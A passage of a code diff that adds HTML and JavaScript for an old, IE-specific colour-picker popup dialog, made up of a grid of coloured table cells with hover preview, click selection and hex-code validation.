+<td onmouseover="View('66CCFF')" onclick="Set('66CCFF')" bgcolor="#66ccff" height="15" width="15"></td>
+<td onmouseover="View('66FFFF')" onclick="Set('66FFFF')" bgcolor="#66ffff" height="15" width="15"></td>
+</tr><tr>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="15" width="15"></td>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="15" width="15"></td>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="15" width="15"></td>
+<td onmouseover="View('990000')" onclick="Set('990000')" bgcolor="#990000" height="15" width="15"></td>
+<td onmouseover="View('993300')" onclick="Set('993300')" bgcolor="#993300" height="15" width="15"></td>
+<td onmouseover="View('996600')" onclick="Set('996600')" bgcolor="#996600" height="15" width="15"></td>
+<td onmouseover="View('999900')" onclick="Set('999900')" bgcolor="#999900" height="15" width="15"></td>
+<td onmouseover="View('99CC00')" onclick="Set('99CC00')" bgcolor="#99cc00" height="15" width="15"></td>
+<td onmouseover="View('99FF00')" onclick="Set('99FF00')" bgcolor="#99ff00" height="15" width="15"></td>
+<td onmouseover="View('CC0000')" onclick="Set('CC0000')" bgcolor="#cc0000" height="15" width="15"></td>
+<td onmouseover="View('CC3300')" onclick="Set('CC3300')" bgcolor="#cc3300" height="15" width="15"></td>
+<td onmouseover="View('CC6600')" onclick="Set('CC6600')" bgcolor="#cc6600" height="15" width="15"></td>
+<td onmouseover="View('CC9900')" onclick="Set('CC9900')" bgcolor="#cc9900" height="15" width="15"></td>
+<td onmouseover="View('CCCC00')" onclick="Set('CCCC00')" bgcolor="#cccc00" height="15" width="15"></td>
+<td onmouseover="View('CCFF00')" onclick="Set('CCFF00')" bgcolor="#ccff00" height="15" width="15"></td>
+<td onmouseover="View('FF0000')" onclick="Set('FF0000')" bgcolor="#ff0000" height="15" width="15"></td>
+<td onmouseover="View('FF3300')" onclick="Set('FF3300')" bgcolor="#ff3300" height="15" width="15"></td>
+<td onmouseover="View('FF6600')" onclick="Set('FF6600')" bgcolor="#ff6600" height="15" width="15"></td>
+<td onmouseover="View('FF9900')" onclick="Set('FF9900')" bgcolor="#ff9900" height="15" width="15"></td>
+<td onmouseover="View('FFCC00')" onclick="Set('FFCC00')" bgcolor="#ffcc00" height="15" width="15"></td>
+<td onmouseover="View('FFFF00')" onclick="Set('FFFF00')" bgcolor="#ffff00" height="15" width="15"></td>
+</tr><tr>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="15" width="15"></td>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="15" width="15"></td>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="15" width="15"></td>
+<td onmouseover="View('990033')" onclick="Set('990033')" bgcolor="#990033" height="15" width="15"></td>
+<td onmouseover="View('993333')" onclick="Set('993333')" bgcolor="#993333" height="15" width="15"></td>
+<td onmouseover="View('996633')" onclick="Set('996633')" bgcolor="#996633" height="15" width="15"></td>
+<td onmouseover="View('999933')" onclick="Set('999933')" bgcolor="#999933" height="15" width="15"></td>
+<td onmouseover="View('99CC33')" onclick="Set('99CC33')" bgcolor="#99cc33" height="15" width="15"></td>
+<td onmouseover="View('99FF33')" onclick="Set('99FF33')" bgcolor="#99ff33" height="15" width="15"></td>
+<td onmouseover="View('CC0033')" onclick="Set('CC0033')" bgcolor="#cc0033" height="15" width="15"></td>
+<td onmouseover="View('CC3333')" onclick="Set('CC3333')" bgcolor="#cc3333" height="15" width="15"></td>
+<td onmouseover="View('CC6633')" onclick="Set('CC6633')" bgcolor="#cc6633" height="15" width="15"></td>
+<td onmouseover="View('CC9933')" onclick="Set('CC9933')" bgcolor="#cc9933" height="15" width="15"></td>
+<td onmouseover="View('CCCC33')" onclick="Set('CCCC33')" bgcolor="#cccc33" height="15" width="15"></td>
+<td onmouseover="View('CCFF33')" onclick="Set('CCFF33')" bgcolor="#ccff33" height="15" width="15"></td>
+<td onmouseover="View('FF0033')" onclick="Set('FF0033')" bgcolor="#ff0033" height="15" width="15"></td>
+<td onmouseover="View('FF3333')" onclick="Set('FF3333')" bgcolor="#ff3333" height="15" width="15"></td>
+<td onmouseover="View('FF6633')" onclick="Set('FF6633')" bgcolor="#ff6633" height="15" width="15"></td>
+<td onmouseover="View('FF9933')" onclick="Set('FF9933')" bgcolor="#ff9933" height="15" width="15"></td>
+<td onmouseover="View('FFCC33')" onclick="Set('FFCC33')" bgcolor="#ffcc33" height="15" width="15"></td>
+<td onmouseover="View('FFFF33')" onclick="Set('FFFF33')" bgcolor="#ffff33" height="15" width="15"></td>
+</tr><tr>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="15" width="15"></td>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="15" width="15"></td>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="15" width="15"></td>
+<td onmouseover="View('990066')" onclick="Set('990066')" bgcolor="#990066" height="15" width="15"></td>
+<td onmouseover="View('993366')" onclick="Set('993366')" bgcolor="#993366" height="15" width="15"></td>
+<td onmouseover="View('996666')" onclick="Set('996666')" bgcolor="#996666" height="15" width="15"></td>
+<td onmouseover="View('999966')" onclick="Set('999966')" bgcolor="#999966" height="15" width="15"></td>
+<td onmouseover="View('99CC66')" onclick="Set('99CC66')" bgcolor="#99cc66" height="15" width="15"></td>
+<td onmouseover="View('99FF66')" onclick="Set('99FF66')" bgcolor="#99ff66" height="15" width="15"></td>
+<td onmouseover="View('CC0066')" onclick="Set('CC0066')" bgcolor="#cc0066" height="15" width="15"></td>
+<td onmouseover="View('CC3366')" onclick="Set('CC3366')" bgcolor="#cc3366" height="15" width="15"></td>
+<td onmouseover="View('CC6666')" onclick="Set('CC6666')" bgcolor="#cc6666" height="15" width="15"></td>
+<td onmouseover="View('CC9966')" onclick="Set('CC9966')" bgcolor="#cc9966" height="15" width="15"></td>
+<td onmouseover="View('CCCC66')" onclick="Set('CCCC66')" bgcolor="#cccc66" height="15" width="15"></td>
+<td onmouseover="View('CCFF66')" onclick="Set('CCFF66')" bgcolor="#ccff66" height="15" width="15"></td>
+<td onmouseover="View('FF0066')" onclick="Set('FF0066')" bgcolor="#ff0066" height="15" width="15"></td>
+<td onmouseover="View('FF3366')" onclick="Set('FF3366')" bgcolor="#ff3366" height="15" width="15"></td>
+<td onmouseover="View('FF6666')" onclick="Set('FF6666')" bgcolor="#ff6666" height="15" width="15"></td>
+<td onmouseover="View('FF9966')" onclick="Set('FF9966')" bgcolor="#ff9966" height="15" width="15"></td>
+<td onmouseover="View('FFCC66')" onclick="Set('FFCC66')" bgcolor="#ffcc66" height="15" width="15"></td>
+<td onmouseover="View('FFFF66')" onclick="Set('FFFF66')" bgcolor="#ffff66" height="15" width="15"></td>
+</tr><tr>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="15" width="15"></td>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="15" width="15"></td>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="15" width="15"></td>
+<td onmouseover="View('990099')" onclick="Set('990099')" bgcolor="#990099" height="15" width="15"></td>
+<td onmouseover="View('993399')" onclick="Set('993399')" bgcolor="#993399" height="15" width="15"></td>
+<td onmouseover="View('996699')" onclick="Set('996699')" bgcolor="#996699" height="15" width="15"></td>
+<td onmouseover="View('999999')" onclick="Set('999999')" bgcolor="#999999" height="15" width="15"></td>
+<td onmouseover="View('99CC99')" onclick="Set('99CC99')" bgcolor="#99cc99" height="15" width="15"></td>
+<td onmouseover="View('99FF99')" onclick="Set('99FF99')" bgcolor="#99ff99" height="15" width="15"></td>
+<td onmouseover="View('CC0099')" onclick="Set('CC0099')" bgcolor="#cc0099" height="15" width="15"></td>
+<td onmouseover="View('CC3399')" onclick="Set('CC3399')" bgcolor="#cc3399" height="15" width="15"></td>
+<td onmouseover="View('CC6699')" onclick="Set('CC6699')" bgcolor="#cc6699" height="15" width="15"></td>
+<td onmouseover="View('CC9999')" onclick="Set('CC9999')" bgcolor="#cc9999" height="15" width="15"></td>
+<td onmouseover="View('CCCC99')" onclick="Set('CCCC99')" bgcolor="#cccc99" height="15" width="15"></td>
+<td onmouseover="View('CCFF99')" onclick="Set('CCFF99')" bgcolor="#ccff99" height="15" width="15"></td>
+<td onmouseover="View('FF0099')" onclick="Set('FF0099')" bgcolor="#ff0099" height="15" width="15"></td>
+<td onmouseover="View('FF3399')" onclick="Set('FF3399')" bgcolor="#ff3399" height="15" width="15"></td>
+<td onmouseover="View('FF6699')" onclick="Set('FF6699')" bgcolor="#ff6699" height="15" width="15"></td>
+<td onmouseover="View('FF9999')" onclick="Set('FF9999')" bgcolor="#ff9999" height="15" width="15"></td>
+<td onmouseover="View('FFCC99')" onclick="Set('FFCC99')" bgcolor="#ffcc99" height="15" width="15"></td>
+<td onmouseover="View('FFFF99')" onclick="Set('FFFF99')" bgcolor="#ffff99" height="15" width="15"></td>
+</tr><tr>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="15" width="15"></td>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="15" width="15"></td>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="15" width="15"></td>
+<td onmouseover="View('9900CC')" onclick="Set('9900CC')" bgcolor="#9900cc" height="15" width="15"></td>
+<td onmouseover="View('9933CC')" onclick="Set('9933CC')" bgcolor="#9933cc" height="15" width="15"></td>
+<td onmouseover="View('9966CC')" onclick="Set('9966CC')" bgcolor="#9966cc" height="15" width="15"></td>
+<td onmouseover="View('9999CC')" onclick="Set('9999CC')" bgcolor="#9999cc" height="15" width="15"></td>
+<td onmouseover="View('99CCCC')" onclick="Set('99CCCC')" bgcolor="#99cccc" height="15" width="15"></td>
+<td onmouseover="View('99FFCC')" onclick="Set('99FFCC')" bgcolor="#99ffcc" height="15" width="15"></td>
+<td onmouseover="View('CC00CC')" onclick="Set('CC00CC')" bgcolor="#cc00cc" height="15" width="15"></td>
+<td onmouseover="View('CC33CC')" onclick="Set('CC33CC')" bgcolor="#cc33cc" height="15" width="15"></td>
+<td onmouseover="View('CC66CC')" onclick="Set('CC66CC')" bgcolor="#cc66cc" height="15" width="15"></td>
+<td onmouseover="View('CC99CC')" onclick="Set('CC99CC')" bgcolor="#cc99cc" height="15" width="15"></td>
+<td onmouseover="View('CCCCCC')" onclick="Set('CCCCCC')" bgcolor="#cccccc" height="15" width="15"></td>
+<td onmouseover="View('CCFFCC')" onclick="Set('CCFFCC')" bgcolor="#ccffcc" height="15" width="15"></td>
+<td onmouseover="View('FF00CC')" onclick="Set('FF00CC')" bgcolor="#ff00cc" height="15" width="15"></td>
+<td onmouseover="View('FF33CC')" onclick="Set('FF33CC')" bgcolor="#ff33cc" height="15" width="15"></td>
+<td onmouseover="View('FF66CC')" onclick="Set('FF66CC')" bgcolor="#ff66cc" height="15" width="15"></td>
+<td onmouseover="View('FF99CC')" onclick="Set('FF99CC')" bgcolor="#ff99cc" height="15" width="15"></td>
+<td onmouseover="View('FFCCCC')" onclick="Set('FFCCCC')" bgcolor="#ffcccc" height="15" width="15"></td>
+<td onmouseover="View('FFFFCC')" onclick="Set('FFFFCC')" bgcolor="#ffffcc" height="15" width="15"></td>
+</tr><tr>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="15" width="15"></td>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="15" width="15"></td>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="15" width="15"></td>
+<td onmouseover="View('9900FF')" onclick="Set('9900FF')" bgcolor="#9900ff" height="15" width="15"></td>
+<td onmouseover="View('9933FF')" onclick="Set('9933FF')" bgcolor="#9933ff" height="15" width="15"></td>
+<td onmouseover="View('9966FF')" onclick="Set('9966FF')" bgcolor="#9966ff" height="15" width="15"></td>
+<td onmouseover="View('9999FF')" onclick="Set('9999FF')" bgcolor="#9999ff" height="15" width="15"></td>
+<td onmouseover="View('99CCFF')" onclick="Set('99CCFF')" bgcolor="#99ccff" height="15" width="15"></td>
+<td onmouseover="View('99FFFF')" onclick="Set('99FFFF')" bgcolor="#99ffff" height="15" width="15"></td>
+<td onmouseover="View('CC00FF')" onclick="Set('CC00FF')" bgcolor="#cc00ff" height="15" width="15"></td>
+<td onmouseover="View('CC33FF')" onclick="Set('CC33FF')" bgcolor="#cc33ff" height="15" width="15"></td>
+<td onmouseover="View('CC66FF')" onclick="Set('CC66FF')" bgcolor="#cc66ff" height="15" width="15"></td>
+<td onmouseover="View('CC99FF')" onclick="Set('CC99FF')" bgcolor="#cc99ff" height="15" width="15"></td>
+<td onmouseover="View('CCCCFF')" onclick="Set('CCCCFF')" bgcolor="#ccccff" height="15" width="15"></td>
+<td onmouseover="View('CCFFFF')" onclick="Set('CCFFFF')" bgcolor="#ccffff" height="15" width="15"></td>
+<td onmouseover="View('FF00FF')" onclick="Set('FF00FF')" bgcolor="#ff00ff" height="15" width="15"></td>
+<td onmouseover="View('FF33FF')" onclick="Set('FF33FF')" bgcolor="#ff33ff" height="15" width="15"></td>
+<td onmouseover="View('FF66FF')" onclick="Set('FF66FF')" bgcolor="#ff66ff" height="15" width="15"></td>
+<td onmouseover="View('FF99FF')" onclick="Set('FF99FF')" bgcolor="#ff99ff" height="15" width="15"></td>
+<td onmouseover="View('FFCCFF')" onclick="Set('FFCCFF')" bgcolor="#ffccff" height="15" width="15"></td>
+<td onmouseover="View('FFFFFF')" onclick="Set('FFFFFF')" bgcolor="#ffffff" height="15" width="15"></td>
+</tr></tbody></table>
+
+</body></html>
--- /dev/null
+<!-- note: this version of the color picker is optimized for IE 5.5+ only -->
+
+<html><head><title>Select Color</title>
+
+<script type="text/javascript" src="popup.js"></script>
+
+<script type="text/javascript">
+
+window.resizeTo(240, 182);
+function _CloseOnEsc() {
+ if (event.keyCode == 27) { window.close(); return; }
+}
+
+function Init() { // run on page load
+ __dlg_init(); // <!-- this can be found in popup.js -->
+ document.body.onkeypress = _CloseOnEsc;
+
+ var color = window.dialogArguments;
+ color = ValidateColor(color) || '000000';
+ View(color); // set default color
+}
+
+function View(color) { // preview color
+ document.getElementById("ColorPreview").style.backgroundColor = '#' + color;
+ document.getElementById("ColorHex").value = '#' + color;
+}
+
+function Set(string) { // select color
+ var color = ValidateColor(string);
+ if (color == null) { alert("Invalid color code: " + string); } // invalid color
+ else { // valid color
+ View(color); // show selected color
+ __dlg_close(color);
+ }
+}
+
+function ValidateColor(string) { // return valid color code
+ string = string || '';
+ string = string + "";
+ string = string.toUpperCase();
+ var chars = '0123456789ABCDEF';
+ var out = '';
+
+ for (var i=0; i<string.length; i++) { // remove invalid color chars
+ var schar = string.charAt(i);
+ if (chars.indexOf(schar) != -1) { out += schar; }
+ }
+
+ if (out.length != 6) { return null; } // check length
+ return out;
+}
+
+</script>
+</head>
+<body style="background:ButtonFace; margin:0px; padding:0px" onload="Init()">
+
+<form method="get" style="margin:0px; padding:0px" onSubmit="Set(document.getElementById('ColorHex').value); return false;">
+<table border="1px" cellspacing="0px" cellpadding="4" width="100%">
+ <tr>
+ <td style="background:buttonface" valign=center><div style="background-color: #000000; padding: 1; height: 21px; width: 50px"><div id="ColorPreview" style="height: 100%; width: 100%"></div></div></td>
+ <td style="background:buttonface" valign=center><input type="text" name="ColorHex"
+ id="ColorHex" value="" size=15 style="font-size: 12px"></td>
+ <td style="background:buttonface" width=100%></td>
+ </tr>
+</table>
+</form>
+
+<table border="0" cellspacing="1px" cellpadding="0px" width="100%" bgcolor="#000000" style="cursor: hand;">
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#003300 onMouseOver=View('003300') onClick=Set('003300') height="10px" width="10px"></td>
+<td bgcolor=#006600 onMouseOver=View('006600') onClick=Set('006600') height="10px" width="10px"></td>
+<td bgcolor=#009900 onMouseOver=View('009900') onClick=Set('009900') height="10px" width="10px"></td>
+<td bgcolor=#00CC00 onMouseOver=View('00CC00') onClick=Set('00CC00') height="10px" width="10px"></td>
+<td bgcolor=#00FF00 onMouseOver=View('00FF00') onClick=Set('00FF00') height="10px" width="10px"></td>
+<td bgcolor=#330000 onMouseOver=View('330000') onClick=Set('330000') height="10px" width="10px"></td>
+<td bgcolor=#333300 onMouseOver=View('333300') onClick=Set('333300') height="10px" width="10px"></td>
+<td bgcolor=#336600 onMouseOver=View('336600') onClick=Set('336600') height="10px" width="10px"></td>
+<td bgcolor=#339900 onMouseOver=View('339900') onClick=Set('339900') height="10px" width="10px"></td>
+<td bgcolor=#33CC00 onMouseOver=View('33CC00') onClick=Set('33CC00') height="10px" width="10px"></td>
+<td bgcolor=#33FF00 onMouseOver=View('33FF00') onClick=Set('33FF00') height="10px" width="10px"></td>
+<td bgcolor=#660000 onMouseOver=View('660000') onClick=Set('660000') height="10px" width="10px"></td>
+<td bgcolor=#663300 onMouseOver=View('663300') onClick=Set('663300') height="10px" width="10px"></td>
+<td bgcolor=#666600 onMouseOver=View('666600') onClick=Set('666600') height="10px" width="10px"></td>
+<td bgcolor=#669900 onMouseOver=View('669900') onClick=Set('669900') height="10px" width="10px"></td>
+<td bgcolor=#66CC00 onMouseOver=View('66CC00') onClick=Set('66CC00') height="10px" width="10px"></td>
+<td bgcolor=#66FF00 onMouseOver=View('66FF00') onClick=Set('66FF00') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#333333 onMouseOver=View('333333') onClick=Set('333333') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#000033 onMouseOver=View('000033') onClick=Set('000033') height="10px" width="10px"></td>
+<td bgcolor=#003333 onMouseOver=View('003333') onClick=Set('003333') height="10px" width="10px"></td>
+<td bgcolor=#006633 onMouseOver=View('006633') onClick=Set('006633') height="10px" width="10px"></td>
+<td bgcolor=#009933 onMouseOver=View('009933') onClick=Set('009933') height="10px" width="10px"></td>
+<td bgcolor=#00CC33 onMouseOver=View('00CC33') onClick=Set('00CC33') height="10px" width="10px"></td>
+<td bgcolor=#00FF33 onMouseOver=View('00FF33') onClick=Set('00FF33') height="10px" width="10px"></td>
+<td bgcolor=#330033 onMouseOver=View('330033') onClick=Set('330033') height="10px" width="10px"></td>
+<td bgcolor=#333333 onMouseOver=View('333333') onClick=Set('333333') height="10px" width="10px"></td>
+<td bgcolor=#336633 onMouseOver=View('336633') onClick=Set('336633') height="10px" width="10px"></td>
+<td bgcolor=#339933 onMouseOver=View('339933') onClick=Set('339933') height="10px" width="10px"></td>
+<td bgcolor=#33CC33 onMouseOver=View('33CC33') onClick=Set('33CC33') height="10px" width="10px"></td>
+<td bgcolor=#33FF33 onMouseOver=View('33FF33') onClick=Set('33FF33') height="10px" width="10px"></td>
+<td bgcolor=#660033 onMouseOver=View('660033') onClick=Set('660033') height="10px" width="10px"></td>
+<td bgcolor=#663333 onMouseOver=View('663333') onClick=Set('663333') height="10px" width="10px"></td>
+<td bgcolor=#666633 onMouseOver=View('666633') onClick=Set('666633') height="10px" width="10px"></td>
+<td bgcolor=#669933 onMouseOver=View('669933') onClick=Set('669933') height="10px" width="10px"></td>
+<td bgcolor=#66CC33 onMouseOver=View('66CC33') onClick=Set('66CC33') height="10px" width="10px"></td>
+<td bgcolor=#66FF33 onMouseOver=View('66FF33') onClick=Set('66FF33') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#666666 onMouseOver=View('666666') onClick=Set('666666') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#000066 onMouseOver=View('000066') onClick=Set('000066') height="10px" width="10px"></td>
+<td bgcolor=#003366 onMouseOver=View('003366') onClick=Set('003366') height="10px" width="10px"></td>
+<td bgcolor=#006666 onMouseOver=View('006666') onClick=Set('006666') height="10px" width="10px"></td>
+<td bgcolor=#009966 onMouseOver=View('009966') onClick=Set('009966') height="10px" width="10px"></td>
+<td bgcolor=#00CC66 onMouseOver=View('00CC66') onClick=Set('00CC66') height="10px" width="10px"></td>
+<td bgcolor=#00FF66 onMouseOver=View('00FF66') onClick=Set('00FF66') height="10px" width="10px"></td>
+<td bgcolor=#330066 onMouseOver=View('330066') onClick=Set('330066') height="10px" width="10px"></td>
+<td bgcolor=#333366 onMouseOver=View('333366') onClick=Set('333366') height="10px" width="10px"></td>
+<td bgcolor=#336666 onMouseOver=View('336666') onClick=Set('336666') height="10px" width="10px"></td>
+<td bgcolor=#339966 onMouseOver=View('339966') onClick=Set('339966') height="10px" width="10px"></td>
+<td bgcolor=#33CC66 onMouseOver=View('33CC66') onClick=Set('33CC66') height="10px" width="10px"></td>
+<td bgcolor=#33FF66 onMouseOver=View('33FF66') onClick=Set('33FF66') height="10px" width="10px"></td>
+<td bgcolor=#660066 onMouseOver=View('660066') onClick=Set('660066') height="10px" width="10px"></td>
+<td bgcolor=#663366 onMouseOver=View('663366') onClick=Set('663366') height="10px" width="10px"></td>
+<td bgcolor=#666666 onMouseOver=View('666666') onClick=Set('666666') height="10px" width="10px"></td>
+<td bgcolor=#669966 onMouseOver=View('669966') onClick=Set('669966') height="10px" width="10px"></td>
+<td bgcolor=#66CC66 onMouseOver=View('66CC66') onClick=Set('66CC66') height="10px" width="10px"></td>
+<td bgcolor=#66FF66 onMouseOver=View('66FF66') onClick=Set('66FF66') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#999999 onMouseOver=View('999999') onClick=Set('999999') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#000099 onMouseOver=View('000099') onClick=Set('000099') height="10px" width="10px"></td>
+<td bgcolor=#003399 onMouseOver=View('003399') onClick=Set('003399') height="10px" width="10px"></td>
+<td bgcolor=#006699 onMouseOver=View('006699') onClick=Set('006699') height="10px" width="10px"></td>
+<td bgcolor=#009999 onMouseOver=View('009999') onClick=Set('009999') height="10px" width="10px"></td>
+<td bgcolor=#00CC99 onMouseOver=View('00CC99') onClick=Set('00CC99') height="10px" width="10px"></td>
+<td bgcolor=#00FF99 onMouseOver=View('00FF99') onClick=Set('00FF99') height="10px" width="10px"></td>
+<td bgcolor=#330099 onMouseOver=View('330099') onClick=Set('330099') height="10px" width="10px"></td>
+<td bgcolor=#333399 onMouseOver=View('333399') onClick=Set('333399') height="10px" width="10px"></td>
+<td bgcolor=#336699 onMouseOver=View('336699') onClick=Set('336699') height="10px" width="10px"></td>
+<td bgcolor=#339999 onMouseOver=View('339999') onClick=Set('339999') height="10px" width="10px"></td>
+<td bgcolor=#33CC99 onMouseOver=View('33CC99') onClick=Set('33CC99') height="10px" width="10px"></td>
+<td bgcolor=#33FF99 onMouseOver=View('33FF99') onClick=Set('33FF99') height="10px" width="10px"></td>
+<td bgcolor=#660099 onMouseOver=View('660099') onClick=Set('660099') height="10px" width="10px"></td>
+<td bgcolor=#663399 onMouseOver=View('663399') onClick=Set('663399') height="10px" width="10px"></td>
+<td bgcolor=#666699 onMouseOver=View('666699') onClick=Set('666699') height="10px" width="10px"></td>
+<td bgcolor=#669999 onMouseOver=View('669999') onClick=Set('669999') height="10px" width="10px"></td>
+<td bgcolor=#66CC99 onMouseOver=View('66CC99') onClick=Set('66CC99') height="10px" width="10px"></td>
+<td bgcolor=#66FF99 onMouseOver=View('66FF99') onClick=Set('66FF99') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#CCCCCC onMouseOver=View('CCCCCC') onClick=Set('CCCCCC') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#0000CC onMouseOver=View('0000CC') onClick=Set('0000CC') height="10px" width="10px"></td>
+<td bgcolor=#0033CC onMouseOver=View('0033CC') onClick=Set('0033CC') height="10px" width="10px"></td>
+<td bgcolor=#0066CC onMouseOver=View('0066CC') onClick=Set('0066CC') height="10px" width="10px"></td>
+<td bgcolor=#0099CC onMouseOver=View('0099CC') onClick=Set('0099CC') height="10px" width="10px"></td>
+<td bgcolor=#00CCCC onMouseOver=View('00CCCC') onClick=Set('00CCCC') height="10px" width="10px"></td>
+<td bgcolor=#00FFCC onMouseOver=View('00FFCC') onClick=Set('00FFCC') height="10px" width="10px"></td>
+<td bgcolor=#3300CC onMouseOver=View('3300CC') onClick=Set('3300CC') height="10px" width="10px"></td>
+<td bgcolor=#3333CC onMouseOver=View('3333CC') onClick=Set('3333CC') height="10px" width="10px"></td>
+<td bgcolor=#3366CC onMouseOver=View('3366CC') onClick=Set('3366CC') height="10px" width="10px"></td>
+<td bgcolor=#3399CC onMouseOver=View('3399CC') onClick=Set('3399CC') height="10px" width="10px"></td>
+<td bgcolor=#33CCCC onMouseOver=View('33CCCC') onClick=Set('33CCCC') height="10px" width="10px"></td>
+<td bgcolor=#33FFCC onMouseOver=View('33FFCC') onClick=Set('33FFCC') height="10px" width="10px"></td>
+<td bgcolor=#6600CC onMouseOver=View('6600CC') onClick=Set('6600CC') height="10px" width="10px"></td>
+<td bgcolor=#6633CC onMouseOver=View('6633CC') onClick=Set('6633CC') height="10px" width="10px"></td>
+<td bgcolor=#6666CC onMouseOver=View('6666CC') onClick=Set('6666CC') height="10px" width="10px"></td>
+<td bgcolor=#6699CC onMouseOver=View('6699CC') onClick=Set('6699CC') height="10px" width="10px"></td>
+<td bgcolor=#66CCCC onMouseOver=View('66CCCC') onClick=Set('66CCCC') height="10px" width="10px"></td>
+<td bgcolor=#66FFCC onMouseOver=View('66FFCC') onClick=Set('66FFCC') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#FFFFFF onMouseOver=View('FFFFFF') onClick=Set('FFFFFF') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#0000FF onMouseOver=View('0000FF') onClick=Set('0000FF') height="10px" width="10px"></td>
+<td bgcolor=#0033FF onMouseOver=View('0033FF') onClick=Set('0033FF') height="10px" width="10px"></td>
+<td bgcolor=#0066FF onMouseOver=View('0066FF') onClick=Set('0066FF') height="10px" width="10px"></td>
+<td bgcolor=#0099FF onMouseOver=View('0099FF') onClick=Set('0099FF') height="10px" width="10px"></td>
+<td bgcolor=#00CCFF onMouseOver=View('00CCFF') onClick=Set('00CCFF') height="10px" width="10px"></td>
+<td bgcolor=#00FFFF onMouseOver=View('00FFFF') onClick=Set('00FFFF') height="10px" width="10px"></td>
+<td bgcolor=#3300FF onMouseOver=View('3300FF') onClick=Set('3300FF') height="10px" width="10px"></td>
+<td bgcolor=#3333FF onMouseOver=View('3333FF') onClick=Set('3333FF') height="10px" width="10px"></td>
+<td bgcolor=#3366FF onMouseOver=View('3366FF') onClick=Set('3366FF') height="10px" width="10px"></td>
+<td bgcolor=#3399FF onMouseOver=View('3399FF') onClick=Set('3399FF') height="10px" width="10px"></td>
+<td bgcolor=#33CCFF onMouseOver=View('33CCFF') onClick=Set('33CCFF') height="10px" width="10px"></td>
+<td bgcolor=#33FFFF onMouseOver=View('33FFFF') onClick=Set('33FFFF') height="10px" width="10px"></td>
+<td bgcolor=#6600FF onMouseOver=View('6600FF') onClick=Set('6600FF') height="10px" width="10px"></td>
+<td bgcolor=#6633FF onMouseOver=View('6633FF') onClick=Set('6633FF') height="10px" width="10px"></td>
+<td bgcolor=#6666FF onMouseOver=View('6666FF') onClick=Set('6666FF') height="10px" width="10px"></td>
+<td bgcolor=#6699FF onMouseOver=View('6699FF') onClick=Set('6699FF') height="10px" width="10px"></td>
+<td bgcolor=#66CCFF onMouseOver=View('66CCFF') onClick=Set('66CCFF') height="10px" width="10px"></td>
+<td bgcolor=#66FFFF onMouseOver=View('66FFFF') onClick=Set('66FFFF') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#FF0000 onMouseOver=View('FF0000') onClick=Set('FF0000') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#990000 onMouseOver=View('990000') onClick=Set('990000') height="10px" width="10px"></td>
+<td bgcolor=#993300 onMouseOver=View('993300') onClick=Set('993300') height="10px" width="10px"></td>
+<td bgcolor=#996600 onMouseOver=View('996600') onClick=Set('996600') height="10px" width="10px"></td>
+<td bgcolor=#999900 onMouseOver=View('999900') onClick=Set('999900') height="10px" width="10px"></td>
+<td bgcolor=#99CC00 onMouseOver=View('99CC00') onClick=Set('99CC00') height="10px" width="10px"></td>
